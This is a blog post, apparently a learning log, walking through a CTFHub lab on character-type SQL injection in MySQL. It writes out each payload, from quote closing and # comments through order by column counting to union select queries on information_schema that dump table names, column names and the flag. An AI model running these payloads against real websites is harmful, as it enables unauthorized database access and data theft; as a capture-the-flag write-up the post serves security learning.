SQL注入学习记录 CTFHub SQL注入 字符型注入

打开页面后,可以看见界面和整数型注入长得差不多:
在这里插入图片描述
先输入1,回显:
在这里插入图片描述然后输入1',得到:
在这里插入图片描述
自动给我们加上了单引号,这也是和整数型注入的区别,字符型注入参数需要单引号来闭合,整数型不需要。
这里如果接着想在后面输入语句的话,就要手动给参数加上单引号,然后将他加上的单引号注释掉。
Mysql 有三种常用注释符:

– 注意,这种注释符后边有一个空格

# 通过#进行注释

/* */ 注释掉符号内的内容

于是我们输入1' and 1=1#,将1作为id的参数,用#将他自带的单引号注释掉,回显:
在这里插入图片描述
然后通过order by x找出该数据表的字段数量,输入1' order by 1#1' order by 2#,返回结果相同,输入1' order by 3#返回结果不同,证明字段数为2。
在这里插入图片描述
在这里插入图片描述
然后通过union注入,输入-1' union select 1,2#,回显结果:
在这里插入图片描述
说明在-1' union select 1,2#中,1,2的位置都能回显。
所以输入-1' union select 1,database()#,爆出数据库名:

在这里插入图片描述
得到数据库名sqli,接着输入-1' union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'#,爆出sqli库中的表名:
在这里插入图片描述
得到表名news和flag,很明显flag就在表flag中。
然后输入-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'#,爆出列名:
在这里插入图片描述
得到列名flag,最后输入-1' union select 1,group_concat(flag) from sqli.flag#,爆出字段内容:
在这里插入图片描述
成功拿到flag!
总的来说和上一题差别不大,继续学习,加油!

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值